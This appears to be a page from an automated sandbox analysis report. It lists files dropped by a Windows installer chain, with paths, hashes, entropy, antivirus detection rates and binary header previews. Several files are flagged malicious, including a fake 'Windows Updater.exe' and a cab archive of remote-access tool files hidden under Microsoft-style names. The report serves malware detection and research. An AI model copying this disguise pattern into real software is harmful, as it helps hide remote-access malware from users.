C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4724720
Entropy (8bit):	7.0944141075328115
Encrypted:	false
SSDEEP:	98304:5YoIz3Q2HM5Qp4WzMIaX8/BG6v/gIV0sba5mFkDzLb:5i3QDCpQaJGkDegFwL
MD5:	FA24733F5A6A6F44D0E65D7D98B84AA6
SHA1:	51A62BEAB55096E17F2E17F042F7BD7DEDABF1AE
SHA-256:	DA1B144B5F908CB7E811489DFE660E06AA6DF9C9158C6972EC9C79C48AFACB7E
SHA-512:	1953201D8CD448AA7D23C3E57665546ACE835F97C8CC8D0F323573CEF03A6F317F86C7C3841268ECE1760B911C67845D7E6AA198A44F720DCA02A5A8BCB8E21E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............S...S...SA..R...SA..R+..SA..R...S...R...S...R...S...R...SA..R...SA..R...SA..R...S...SO..S...R..S..=S...S..US...S...R...SRich...S................PE..L...G.gb..........".......!.........D.........!...@.........................../.....'.H...@.................................$..(..................x.G.x.....-..[....$.p.....................$.......!.@.............!.......).`....................text.....!.......!................. ..`.rdata..di....!..j....!.............@..@.data.......0..j.................@....rsrc.............................@..@.reloc...[....-..\...D-.............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	7.135582921236954
Encrypted:	false
SSDEEP:	24576:sqDEvCTbMWu7rQYlBQcBiT6rprG8aoikEZkukudi:sTvC/MTQYxsWR7aoiFZku9
MD5:	3372EE41B0B68A033CD0EA3120594E29
SHA1:	95288871FC18757C059A0E65F1EF914F598A8D9F
SHA-256:	DFD60B6870FFAE5BB75606F007FA2D70247280EBF08B165F8B05677BB83B5247
SHA-512:	05812A0EC12EA9E76E196FFE384C9950D9D47B55BA6E24F2A75206D7B67ACCD00590C67F9EDA8990826889B8779DC75AE0250EA600892C227F32469144801F67
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 30%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...D.je.........."..........Z......w.............@..........................`............@...@.......@.....................d...\|....@..$........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...$....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-53US7.tmp\idp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	237568
Entropy (8bit):	6.42067568634536
Encrypted:	false
SSDEEP:	3072:dnSx3lws+iWbUmJmE8dxMw7r+mjT5PbzEFwyGIyTcHY10tSB9j:IP0bUmQEUr+mRcbTx4N
MD5:	55C310C0319260D798757557AB3BF636
SHA1:	0892EB7ED31D8BB20A56C6835990749011A2D8DE
SHA-256:	54E7E0AD32A22B775131A6288F083ED3286A9A436941377FC20F85DD9AD983ED
SHA-512:	E0082109737097658677D7963CBF28D412DCA3FA8F5812C2567E53849336CE45EBAE2C0430DF74BFE16C0F3EEBB46961BC1A10F32CA7947692A900162128AE57
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........)Wj.H99.H99.H99..D9.H99..W9.H99..T9-H99zGd9.H99.H894H99..K9.H99..C9.H99..E9.H99..A9.H99Rich.H99........................PE..L......W...........!................Nr..............................................0............................... ;......h/..d.......................................................................@............................................text...i........................... ..`.rdata...n.......p..................@..@.data....:...@... ...@..............@....rsrc................`..............@..@.reloc..b-.......0...p..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-53US7.tmp\is-E1EII.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:F:F
MD5:	EFF5BC1EF8EC9D03E640FC4370F5EACD
SHA1:	92A949FD41844E1BB8C6812CDEA102708FDE23A4
SHA-256:	DC51B8C96C2D745DF3BD5590D990230A482FD247123599548E0632FDBF97FC22
SHA-512:	672F8FF4AE8530DE295F9DD963724947841E6277EDEC3B21820B5E44D0A64BAEF90FB04E22048028453D715F79357ACC5BD2D566FE6EDE65F981BA3DDA06BAE4
Malicious:	false
Reputation:	unknown
Preview:	ok.

C:\Users\user\AppData\Local\Temp\is-53US7.tmp\is-H23TB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	unknown
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-53US7.tmp\is-V120F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	unknown
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-53US7.tmp\play

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	unknown
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3199488
Entropy (8bit):	6.325059792485986
Encrypted:	false
SSDEEP:	49152:2WGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TY:6tLutqgwh4NYxtJpkxhGj333T
MD5:	AD96645518D5ABDD4F96B007E799F61E
SHA1:	6F9EF4A1635C646710C4FB71DB3DAD0D9E5C754F
SHA-256:	BC267B0E5CE6F88EBB5CB9E309DD83096D7E33B597CACF9AB066989E836F056C
SHA-512:	21CF333F2024CFEF0F479823EB486BFEB9530BEEE4A20D6BB948E576F29571E8401A6AEF08106C582B71614CECA442BC6E6AFF60A5B493BCB8BE0A673B0D35F1
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp

Download File

Process:	C:\Users\user\Desktop\ZmWSzgevgt.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3199488
Entropy (8bit):	6.325059207580715
Encrypted:	false
SSDEEP:	49152:2WGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TY:6tLutqgwh4NYxtJpkxhGj333T
MD5:	BE0E74DC6AC70C5B8CC74C42B6999A70
SHA1:	47C9E3346F8C051EA7415289E25E7836AD47500C
SHA-256:	D5485BA921C2D67DF5D63763C4650CAD24D8B7D7C65202A8F9CB5F3DAFDFCF12
SHA-512:	A851ED78B6F8C0ECBE449A20347DEBF2804DA656372F66CE907A6A7E29C9B921F3234CD17B5A044891CADF5F23708E11EA521AB1A007E5C24A95763E7E545A9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\{app}\aglwjhm.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp
File Type:	Microsoft Cabinet archive data, many, 2424220 bytes, 15 files, at 0x2c +A "regid.1993-06.com.microsoft\atmfd.dll" +A "regid.1993-06.com.microsoft\client32.ini", number 1, 179 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	2424220
Entropy (8bit):	7.9975108289967425
Encrypted:	true
SSDEEP:	49152:/Se9VNpXouUUoFe7QNMiDL4yLu69Ps7UnyqYMU2so:KUpXFUpFMQamBLu69076LYMU6
MD5:	A3609F5F1214472B2990C05F551B0E7A
SHA1:	EC57B5E136D96DF6366562C9B5C73AAD89D619A0
SHA-256:	1863E3B433E0086A5B1A22F034DEF8CCEE6CA74A12DD59796AE3D7456567DB33
SHA-512:	BB86D4011FEEB245E2F80AA4F8AAFD230C9CF3DEAAE8F2B056BA60B6DEB22710E34E91177A5011B4897A70D82CFCE44ACDF08D8DA072BF8A9C02B3D1295CC51D
Malicious:	false
Reputation:	unknown
Preview:	MSCF......$.....,...................t..................RS4 .regid.1993-06.com.microsoft\atmfd.dll.x.........}Wz$ .regid.1993-06.com.microsoft\client32.ini...........}Wz$ .regid.1993-06.com.microsoft\client32u.ini.x..........I{. .regid.1993-06.com.microsoft\HTCTL32.DLL.P...~......Fn. .regid.1993-06.com.microsoft\msvcr100.dll.H.........6. .regid.1993-06.com.microsoft\nskbfltr.inf.:..........F.. .regid.1993-06.com.microsoft\NSM.ini.....P.....;U.@ .regid.1993-06.com.microsoft\NSM.LIC............<S. .regid.1993-06.com.microsoft\nsm_vpro.ini.x...A......I. .regid.1993-06.com.microsoft\pcicapi.dll.xI.../.....I. .regid.1993-06.com.microsoft\PCICHEK.DLL.x.9.1y.....I. .regid.1993-06.com.microsoft\PCICL32.DLL.x.....P....I@. .regid.1993-06.com.microsoft\remcmdstub.exe.x...!.Q....IL. .regid.1993-06.com.microsoft\TCCTL32.DLL.......W....W.} .regid.1993-06.com.microsoft\wmiprvse.exe..._..L..CK.{\|SU.8..$m.)'..(j..."v,jkPs..z")T.PG.L.G.J..#J.iKN.Gqd...3r..b......$-....":.83..u@.RP.]k........

C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3199488
Entropy (8bit):	6.325059360886426
Encrypted:	false
SSDEEP:	49152:2WGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TY:6tLutqgwh4NYxtJpkxhGj333T
MD5:	C039C014580F43E5B8162552F3CAF067
SHA1:	06F24F301DB285EE9B116143FE2951D47EA92AA3
SHA-256:	4F42DD2793620AFDA4CA8F796AD433033ACC8E52A98B0D65A772650B17E8FAD8
SHA-512:	7ECDBDF5B430138D91C692F8C7061039B5F7A55AD8A65F75D5EB46B4D0AB22BCDACD1B9595DB84CC3A8D137BA90499114B94F9785A8DE547212CD3F6506A3669
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Local\Temp\shi135F.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4509696
Entropy (8bit):	6.100941182830929
Encrypted:	false
SSDEEP:	49152:jm+XAVAMPLfOyim8iTRxYUOQSfLTZZZ2y38lb7Cjn3mboy4+MT7ujWx/Tl0ng48e:CzVAwiKTOpfLTDQyaNoy787ujWx/TlR
MD5:	F6153E803F1533042AC7E6988237C2C3
SHA1:	DDA81BB8BC8CC14877C9CB9B7C664DEFD81EBB4F
SHA-256:	F42A771D310C762C05A5BE3DE0CFDB9BEC28D3DFCCAEF800C901F551A0DF30ED
SHA-512:	7AE76A4CB58A9929C09B1D6376073268622C74B1E3F0C346AFA7A7829E2EF136CCF091F58CCA28BFE83C665573C23D9DB6AF51A44275DA0CC2CF8C1306ADDBAC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._.._.._..V.X.=..K..S..K..X..K..W.._.....K..^..K..-..K..D..K.4.^..K..^..Rich_..........................PE..L....+.X...........!.....dA.........P.3.......A....c.........................@E.......E...@A.........................i@.K&..L.A.......B.H.....................D..-......T....................O...... .................A.H....C@......................text.....@.......@................. ..`.wpp_sf.......@.......@............. ..`.data....6....A......hA.............@....idata...1....A..2...nA.............@..@.didat..4.....B.......A.............@....rsrc...H.....B.......A.............@..@.reloc...-....D.......C.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\shi13CD.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83128
Entropy (8bit):	6.654653670108596
Encrypted:	false
SSDEEP:	1536:0jIdYoF2CwmzOVStYMAuNWrmaTk++ouMOczT0ud4x41xmPS:0jRoFZwmr+bDk/MOcv0G4sxm
MD5:	125B0F6BF378358E4F9C837FF6682D94
SHA1:	8715BEB626E0F4BD79A14819CC0F90B81A2E58AD
SHA-256:	E99EAB3C75989B519F7F828373042701329ACBD8CEADF4F3FF390F346AC76193
SHA-512:	B63BB6BFDA70D42472868B5A1D3951CF9B2E00A7FADB08C1F599151A1801A19F5A75CFC3ACE94C952CFD284EB261C7D6F11BE0EBBCAA701B75036D3A6B442DB2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.T...:...:...:.....&.:...9...:...;...:...;...:...:...:...4...:...?...:......:...>...:......:...8...:.Rich..:.................PE..L...Y.............!.........H.......n..............................................;.....@A........................P........B.......`............... ...$...p..........T............................................@...............................text.../........................... ..`.data....!..........................@....idata..H....@......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\shiF808.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5038592
Entropy (8bit):	6.043058205786219
Encrypted:	false
SSDEEP:	49152:vVkDvLSkqdbEsuV+ebMh8w+/H8pF/bmlEyGjWvcP1xQ+X7TqVAMPLfQyim8kznsY:2Ll+Mn0WHl9VA2ic/
MD5:	11F7419009AF2874C4B0E4505D185D79
SHA1:	451D8D0470CEDB268619BA1E7AE78ADAE0EBA692
SHA-256:	AC24CCE72F82C3EBBE9E7E9B80004163B9EED54D30467ECE6157EE4061BEAC95
SHA-512:	1EABBBFDF579A93BBB055B973AA3321FC8DC8DA1A36FDE2BA9A4D58E5751DC106A4A1BBC4AD1F425C082702D6FBB821AA1078BC5ADC6B2AD1B5CE12A68058805
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e.D!...!...!...(.V.C...5..."...5...&...5...)...!......5...:...5... ...5...R...5.:. ...5... ...Rich!...................PE..d...p............." .........D...............................................`M.....'.M...`A........................................@.H.L&....I......@K.H.....I..............@M.....`J:.p.......................(....%..............@.......$.H......................text...4B.......D.................. ..`.wpp_sf.....`.......H.............. ..`.rdata...L......N.................@..@.data...hD...PI......*I.............@....pdata........I......2I.............@..@.didat.......0K.......J.............@....rsrc...H....@K.......J.............@..@.reloc.......@M.. ....L.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\shiFA87.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4509696
Entropy (8bit):	6.100941182830929
Encrypted:	false
SSDEEP:	49152:jm+XAVAMPLfOyim8iTRxYUOQSfLTZZZ2y38lb7Cjn3mboy4+MT7ujWx/Tl0ng48e:CzVAwiKTOpfLTDQyaNoy787ujWx/TlR
MD5:	F6153E803F1533042AC7E6988237C2C3
SHA1:	DDA81BB8BC8CC14877C9CB9B7C664DEFD81EBB4F
SHA-256:	F42A771D310C762C05A5BE3DE0CFDB9BEC28D3DFCCAEF800C901F551A0DF30ED
SHA-512:	7AE76A4CB58A9929C09B1D6376073268622C74B1E3F0C346AFA7A7829E2EF136CCF091F58CCA28BFE83C665573C23D9DB6AF51A44275DA0CC2CF8C1306ADDBAC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._.._.._..V.X.=..K..S..K..X..K..W.._.....K..^..K..-..K..D..K.4.^..K..^..Rich_..........................PE..L....+.X...........!.....dA.........P.3.......A....c.........................@E.......E...@A.........................i@.K&..L.A.......B.H.....................D..-......T....................O...... .................A.H....C@......................text.....@.......@................. ..`.wpp_sf.......@.......@............. ..`.data....6....A......hA.............@....idata...1....A..2...nA.............@..@.didat..4.....B.......A.............@....rsrc...H.....B.......A.............@..@.reloc...-....D.......C.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\shiFB53.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83128
Entropy (8bit):	6.654653670108596
Encrypted:	false
SSDEEP:	1536:0jIdYoF2CwmzOVStYMAuNWrmaTk++ouMOczT0ud4x41xmPS:0jRoFZwmr+bDk/MOcv0G4sxm
MD5:	125B0F6BF378358E4F9C837FF6682D94
SHA1:	8715BEB626E0F4BD79A14819CC0F90B81A2E58AD
SHA-256:	E99EAB3C75989B519F7F828373042701329ACBD8CEADF4F3FF390F346AC76193
SHA-512:	B63BB6BFDA70D42472868B5A1D3951CF9B2E00A7FADB08C1F599151A1801A19F5A75CFC3ACE94C952CFD284EB261C7D6F11BE0EBBCAA701B75036D3A6B442DB2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.T...:...:...:.....&.:...9...:...;...:...;...:...:...:...4...:...?...:......:...>...:......:...8...:.Rich..:.................PE..L...Y.............!.........H.......n..............................................;.....@A........................P........B.......`............... ...$...p..........T............................................@...............................text.../........................... ..`.data....!..........................@....idata..H....@......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {C5EBDD8B-C384-4CB5-9A33-9A4EF2189D51}, Number of Words: 0, Subject: Windows Manager, Author: AW Manager, Name of Creating Application: Windows Manager, Template: ;1033, Comments: This installer database contains the logic and data required to install Windows Manager., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	3986432
Entropy (8bit):	6.570721162159989
Encrypted:	false
SSDEEP:	49152:7BAYNADU8HZ3nqmAc4RQ8BtDAoB4aNXVW+hv+Ahi8RhZ2i/NToL5ZHd9ZP9Z9Lzq:WYNAD0tDrPhhoL/+e4UpzjM
MD5:	6024D8C2207FC4610416BEAF8D360527
SHA1:	793AB731B07BF86ECC3BA78E1B76DC2AA0B48F8A
SHA-256:	CB4CAD56EA5391E44DC661513C4F021C5272DB710CC1733251152D1CB0EB5829
SHA-512:	0BB9CD1EC8873137E654A94C21887B7D4C73A9E561563D52DDEC18377552D1A33D256487362BB614EBB3D804047427977B3EB0070C92FC43D0DD656AF13EEAB4
Malicious:	false
Reputation:	unknown
Preview:	......................>...................=...................................T.......\|.......E...F...G...H...I...J...K...L...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t........................................... ...!.......................................................;...<...=...>...?...@.......................................................................................................................................................................................................................o...............)...@........................................................................................... ...!..."...#...$...%...&...'...(...6...*...7...,...-......./...0...1...2...3...4...5.......8...>...9...:...;...<...=...A...?...H...K...B...C...D...E...F...G...S...I...J.......L...M...N...O...P...Q...R...:...........V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1026936
Entropy (8bit):	6.391700413941365
Encrypted:	false
SSDEEP:	24576:lViYocX3hU49N1frFMDtpen0qZxVzCdUVdjKFoTo:LiYoM6EODtA0qZadUVdjKFoTo
MD5:	F95007206C6B2407FB69748EF7C93612
SHA1:	1B7B10470BCC56823A25274BCC3C4BFBEC76E428
SHA-256:	85CA1094E52A33019BE8EBEE09C580A31D4CAA846A6BE4412C58796BFC0FAB5A
SHA-512:	001975689CB431EC8E79D4A90597E8055DABF8E18C769818646BE7BA7708C57192956E0DC43EE3E25DD302F33246DDC226B5D6A660650878A2031B20E1B52752
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 65%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..7(.{d(.{d(.{d..xe&.{d..~e..{dJ..e;.{dJ.xe1.{dJ.~eu.{d...e3.{d..}e).{d..ze..{d(.zd..{d..reU.{d...d).{d..ye).{dRich(.{d........PE..L.....gb.........."..............................@.......................................@.....................................,.......4>..............x....0.......:..p...................@;..........@...............t...<........................text...o........................... ..`.rdata..2...........................@..@.data...D)..........................@....rsrc...4>.......@..................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\decoder.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	211456
Entropy (8bit):	6.450132187386898
Encrypted:	false
SSDEEP:	3072:WltFwoJxZQ4fK70l5DqKtRnBBjGd4uM4h0lntiEnc2xMl4fTVERt:WaU87+3nHy6n0NGJERt
MD5:	8A3F1A0DA39530DCB8962DD0FADB187F
SHA1:	D5294F6BE549EC1F779DA78D903683BAB2835D1A
SHA-256:	C6988E36B1E1D6FFC89D9FA77AD35F132F5AA89E680D0155E0B6AEE1C524C99F
SHA-512:	1E0D5BE3EE164FB16DE629A975F3C3DA61659B99A0FC766850FFEEDDB2D32B7EE0D3B85C77F01D34D9FE2933BD7BD11C6DBA7B35D30FAED7CE09485FD706D49D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+(..oI..oI..oI..;..eI..;...I...1..JI...1...I...1..yI..;..zI..;..hI..oI...I...0..3I...0..nI...0..nI..oIe.nI...0..nI..RichoI..................PE..L.....gb.........."!.....f................................................................@.................................\...<....... .......................@ ......p...............................@...............t............................text....d.......f.................. ..`.rdata...............j..............@..@.data...dV... ......................@....rsrc... ...........................@..@.reloc..@ ......."..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\holder0.aiph

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe
File Type:	data
Category:	dropped
Size (bytes):	1026936
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	59F47C235E8563ADFDF887F2278F4180
SHA1:	31986FB97FFCACEF24485FDB37B115F543A670B1
